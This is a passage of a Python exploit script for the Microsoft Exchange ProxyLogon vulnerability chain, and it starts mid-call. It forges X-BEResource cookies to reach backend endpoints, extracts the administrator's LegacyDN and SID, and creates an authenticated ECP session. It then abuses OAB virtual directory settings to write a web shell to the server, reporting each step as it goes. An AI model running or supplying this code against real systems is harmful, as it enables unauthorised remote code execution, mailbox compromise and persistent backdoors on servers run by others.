    "Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN,
    "Content-Type": "text/xml",
    "User-Agent": user_agent},
                   data=autoDiscoverBody,
                   verify=False
                   )
if ct.status_code != 200:
    print("Autodiscover Error!")
    exit()
if "<LegacyDN>" not in ct.content:
    print("Can not get LegacyDN!")
    exit()

legacyDn = ct.content.split("<LegacyDN>")[1].split("</LegacyDN>")[0]
print("Got DN: " + legacyDn)

mapi_body = legacyDn + "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Admin@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN,
    "Content-Type": "application/mapi-http",
    "User-Agent": user_agent
},
                   data=mapi_body,
                   verify=False
                   )
if ct.status_code != 200 or "act as owner of a UserMailbox" not in ct.content:
    print("Mapi Error!")
    exit()

sid = ct.content.split("with SID ")[1].split(" and MasterAccountSid")[0]

print("Got SID: " + sid)

proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
""" % sid

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Admin@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
    "Content-Type": "text/xml",
    "User-Agent": user_agent
},
                   data=proxyLogon_request,
                   verify=False
                   )
if ct.status_code != 241 or not "set-cookie" in ct.headers:
    print("Proxylogon Error!")
    exit()

sess_id = ct.headers['set-cookie'].split("ASP.NET_SessionId=")[1].split(";")[0]

msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[1].split(";")[0]
print("Got session id: " + sess_id)
print("Got canary: " + msExchEcpCanary)

ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Admin@%s:444/ecp/about.aspx?a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
        FQDN, sess_id, msExchEcpCanary),
    "User-Agent": user_agent
},
                  verify=False
                  )
if ct.status_code != 200:
    print("Wrong canary!")
    print("Sometime we can skip this ...")
rbacRole = ct.content.split("RBAC roles:</span> <span class='diagTxt'>")[1].split("</span>")[0]
# print "Got rbacRole: "+ rbacRole

print("=========== It means good to go!!!====")

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
        FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
    "Content-Type": "application/json; charset=utf-8",
    "User-Agent": user_agent

},
                   json={"filter": {
                       "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                      "SelectedView": "", "SelectedVDirType": "All"}}, "sort": {}},
                   verify=False
                   )
if ct.status_code != 200:
    print("GetOAB Error!")
    exit()
oabId = ct.content.split('"RawIdentity":"')[1].split('"')[0]
print("Got OAB id: " + oabId)

oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
            "properties": {
                "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                               "ExternalUrl": "http://ffff/#%s" % shell_content}}}

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
        FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
    "Content-Type": "application/json; charset=utf-8",
    "User-Agent": user_agent
},
                   json=oab_json,
                   verify=False
                   )
if ct.status_code != 200:
    print("Set external url Error!")
    exit()

reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
                  "properties": {
                      "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                     "FilePathName": shell_absolute_path}}}

ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
    "Cookie": "X-BEResource=Admin@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
        FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
    "Content-Type": "application/json; charset=utf-8",
    "User-Agent": user_agent
},
                   json=reset_oab_body,
                   verify=False
                   )

if ct.status_code != 200:
    print("Write Shell Error!")
    exit()

print("Successful!")